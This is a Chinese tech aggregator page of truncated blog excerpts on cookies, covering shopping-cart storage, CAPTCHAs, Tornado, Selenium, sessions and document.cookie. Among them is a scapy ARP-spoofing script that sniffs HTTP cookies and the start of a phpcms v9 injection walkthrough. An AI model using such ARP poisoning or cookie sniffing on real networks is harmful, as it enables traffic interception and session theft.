cookie

淘淘商城---购物车模块

青春壹個敷衍的年華 提交于 2020-03-17 22:09:53
一:模仿JD,在用户不登录的情况下,可以实现添加商品到购物车内。---将商品存放到cookie中 此处是商品详情页面-----点击加入购物车按钮的连接:端口:8090 参数:商品id 、 商品数量 在购物车模块的controller层代码 @pathVariable 注解可以获取URL 路径中的参数----( 参数的名字要与 URL的参数一致 ) @RequestParam 注解设置num的默认值为 1 HttpServletRequest request 、 HttpServletResponse response 是为了后面调用cookie 主要的逻辑思路: 1.从cookie中获取购物车列表 2.然后将购物车商品遍历,判断购物车中商品是否存在 3.如果找到商品,则让商品的数量 +1 4.如果没找到商品,就在购物车中添加新的商品信息,并且将购物车重新添加到cookie,然后返回到添加成功页面! 二:登录后,添加购物车模块。 大致逻辑: 1.对每一个购物车相关的操作,都进行一个用户是否登录的判断。 2.如果登录,将购物车信息存放到redis中。 3.如果没有登录则将购物车存放到cookie中。 4.这样就可以达到,两种方式处理购物车,如果用户登录了,则将购物车存放到redis中,并且将cookie中购物车与登录后的购物车进行合并处理,如果用户没有登录

python-ARP欺骗

自闭症网瘾萝莉.ら 提交于 2020-03-17 17:24:00
代码如下: # 1. 从命令行获取要欺骗的IP # 2. 获取IP对应的MAC地址 # 3. 定义MAC获取函数get_mac() # 4. 启动ARP欺骗 # 5. 定义ARP欺骗函数 # 6. 嗅探数据包 # 7. 定义cookie嗅探函数 # 8. 恢复靶机的ARP缓存 # 9. 定义ARP缓存恢复函数 from scapy . all import * import time from threading import Thread def main ( target_ip , gateway_ip ) : conf . verb = 0 # 2. 获取IP对应的MAC地址 target_mac = get_mac ( target_ip ) gateway_mac = get_mac ( gateway_ip ) # 4. 启动ARP欺骗 t = Thread ( target = poison_target , args = ( target_ip , target_mac , gateway_ip , gateway_mac ) ) # 当主线程结束时,子线程自动结束 t . setDaemon ( True ) t . start ( ) # 6. 嗅探数据包 sniff ( filter = "tcp port 80" , prn = packet

实用的非图像CAPTCHA方法?

两盒软妹~` 提交于 2020-03-16 17:20:02
某厂面试归来,发现自己落伍了!>>> 看起来我们将向Stack Overflow添加 CAPTCHA 支持。 这对于防止机器人,垃圾邮件发送者和其他恶意脚本活动是必要的。 我们只希望人类在这里发布或编辑内容! 我们将使用JavaScript(jQuery)CAPTCHA作为第一道防线: http://docs.jquery.com/Tutorials:Safer_Contact_Forms_Without_CAPTCHAs 这种方法的优点是, 对于大多数人来说,CAPTCHA永远不可见! 但是,对于禁用JavaScript的用户,我们仍然需要回退,这就是它变得棘手的地方。 我 为ASP.NET 编写了一个 传统的CAPTCHA控件 ,我们可以重用它。 但是,我更喜欢使用文本内容来避免在每次请求时在服务器上创建所有这些图像的开销。 我见过像...... ASCII文本验证码: \\/\\/(_)\\/\\/ 数学难题:什么是7减3倍2? 琐事问题:什么味道更好,蟾蜍或冰棍? 也许我只是在这里倾斜风车,但如果可能的话,我想要一个资源较少,非基于图像的 <noscript> 兼容的CAPTCHA。 想法? #1楼 虽然开始了 类似的讨论 : 我们正在我们的一个经常数据挖掘的应用程序上尝试此解决方案: 更好的CAPTCHA控制(看马 - 没有图像!) 您可以在我们的 建筑检查搜索中 查看它

Python(九)Tornado web 框架

吃可爱长大的小学妹 提交于 2020-03-16 12:44:18
一、简介    Tornado 是 FriendFeed 使用的可扩展的非阻塞式 web 服务器及其相关工具的开源版本。这个 Web 框架看起来有些像 web.py 或者 Google 的 webapp ,不过为了能有效利用非阻塞式服务器环境,这个 Web 框架还包含了一些相关有用工具及优化。   Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。得利于其非阻塞的方式和对 epoll 的运用,Tornado 每秒可以处理数以千计的连接,这就意味着对于实时的 Web 服务来说,Tornado 是一个理想的 Web 框架。开发这个 Web 服务器的主要目的就是为了处理 FriendFeed 的实时功能 ——在 FriendFeed 的应用里每一个活动用户都会保持着一个服务器连接。(关于如何扩容服务器,以处理数以千计的客户端的连接的问题,请参阅 C10K problem 。)   请参见 Tornado 文档 或 Tornado 原文文档(镜像) 以详细了解该 Web 框架。 下载和安装 pip安装 pip3 install tornado 源码安装 tar xvzf tornado-4.4.1.tar.gz cd tornado-4.4.1 python setup.py build sudo

Tornado Web 框架

做~自己de王妃 提交于 2020-03-16 12:43:26
一、简介    Tornado 是 FriendFeed 使用的可扩展的非阻塞式 web 服务器及其相关工具的开源版本。这个 Web 框架看起来有些像 web.py 或者 Google 的 webapp ,不过为了能有效利用非阻塞式服务器环境,这个 Web 框架还包含了一些相关有用工具及优化。   Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。得利于其非阻塞的方式和对 epoll 的运用,Tornado 每秒可以处理数以千计的连接,这就意味着对于实时的 Web 服务来说,Tornado 是一个理想的 Web 框架。开发这个 Web 服务器的主要目的就是为了处理 FriendFeed 的实时功能 ——在 FriendFeed 的应用里每一个活动用户都会保持着一个服务器连接。(关于如何扩容服务器,以处理数以千计的客户端的连接的问题,请参阅 C10K problem 。)   请参见 Tornado 文档 或 Tornado 原文文档(镜像) 以详细了解该 Web 框架。 下载和安装 pip安装 pip3 install tornado 源码安装 tar xvzf tornado-4.4.1.tar.gz cd tornado-4.4.1 python setup.py build sudo

Jquery学习之Jquery插件

自闭症网瘾萝莉.ら 提交于 2020-03-16 03:55:38
1.cycle幻灯片 .cycle(); //books结构 ul li $('#books').cycle(); $('#books').cycle({ timeout:2000, speed:500, pause:true }); //设置初始默认值 $.fn.cycle.defaults.timeout = 10000;//切换频率 $.fn.cycle.defaults.random = true;//是否随机切换 $('#books').cycle({ timeout: 2000,//会覆盖默认的切换频率 speed: 500, pause: true }) var $books = $('#books'); var $controls = $('<div id="books-controls"></div>').insertAfter($books); $('<button>Pause</button>').click(function (e) { e.preventDefault(); $books.cycle('pause'); }).appendTo($controls); // $('<button>Resume</button>').click(function (e) { // e.preventDefault(); // $books.cycle(

爬虫21-selenium用法

霸气de小男生 提交于 2020-03-15 22:20:23
1.获取cookie信息 from selenium import webdriver driver=webdriver.Firefox() driver.get("https://www.baidu.com") for cookie in driver.get_cookies(): print(cookie)#获得所有cookie print(driver.get_cookie("PSTM"))#获得指定cookie driver.delete_cookie("PSTM")#删除cookie driver.delete_all_cookies()#删除所有cookie    2.页面等待 from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By driver=webdriver.Firefox() driver.get("https://www.baidu.com") driver.implicitly_wait(20)#等待二十秒再抛异常,隐式等待

session和cookie技术对比

我的未来我决定 提交于 2020-03-15 19:52:38
Cooke技术 1 特点 Cookie技术:会话数据保存在浏览器客户端。 2 Cookie技术核心 Cookie类:用于存储会话数据 1)构造Cookie对象 Cookie(java.lang.String name, java.lang.String value) 2)设置cookie void setPath(java.lang.String uri) :设置cookie的有效访问路径 void setMaxAge(int expiry) : 设置cookie的有效时间 void setValue(java.lang.String newValue) :设置cookie的值 3)发送cookie到浏览器端保存 void response.addCookie(Cookie cookie) : 发送cookie 4)服务器接收cookie Cookie[] request.getCookies() : 接收cookie 3 Cookie原理 1)服务器创建cookie对象,把会话数据存储到cookie对象中。 new Cookie("name","value"); 2) 服务器发送cookie信息到浏览器 response.addCookie(cookie); 举例: set-cookie: name=eric (隐藏发送了一个set-cookie名称的响应头) 3

phpcms v9 注入

≡放荡痞女 提交于 2020-03-15 14:50:40
GET /phpcms/index.php?m=wap&c=index&a=init&siteid=1 HTTP/1.1 Host: localhost Proxy-Connection: keep-alive Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Accept-Encoding: gzip, deflate, sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: nYbXT_siteid=8f34EZvyi7oJBh8g69s3wO0YGxWeF_ohQ8serAzU; CNZZDATA1256104530=    首先访问上述的url,返回的数据如下 HTTP/1.1 200 OK Date: Tue, 11 Apr 2017 17:29:08 GMT Server:

js里面的document.cookie详解

半世苍凉 提交于 2020-03-15 11:42:30
设置cookie 每个cookie都是一个名/值对,可以把下面这样一个字符串赋值给document.cookie: document.cookie="userId=828"; 如果要一次存储多个名/值对,可以使用分号加空格(; )隔开,例如: document.cookie="userId=828; userName=hulk"; 在cookie的名或值中不能使用分号(;)、逗号(,)、等号(=)以及空格。在cookie的名中做到这点很容易,但要保存的值是不确定的。如何来存储这些值呢?方法是用escape()函数进行编码,它能将一些特殊符号使用十六进制表示,例如空格将会编码为“20%”,从而可以存储于cookie值中,而且使用此种方案还可以避免中文乱码的出现。例如: document.cookie="str="+escape("I love ajax"); 相当于: document.cookie="str=I%20love%20ajax"; 当使用escape()编码后,在取出值以后需要使用unescape()进行解码才能得到原来的cookie值,这在前面已经介绍过。 尽管document.cookie看上去就像一个属性,可以赋不同的值。但它和一般的属性不一样,改变 它的赋值并不意味着丢失原来的值,例如连续执行下面两条语句: document.cookie="userId=828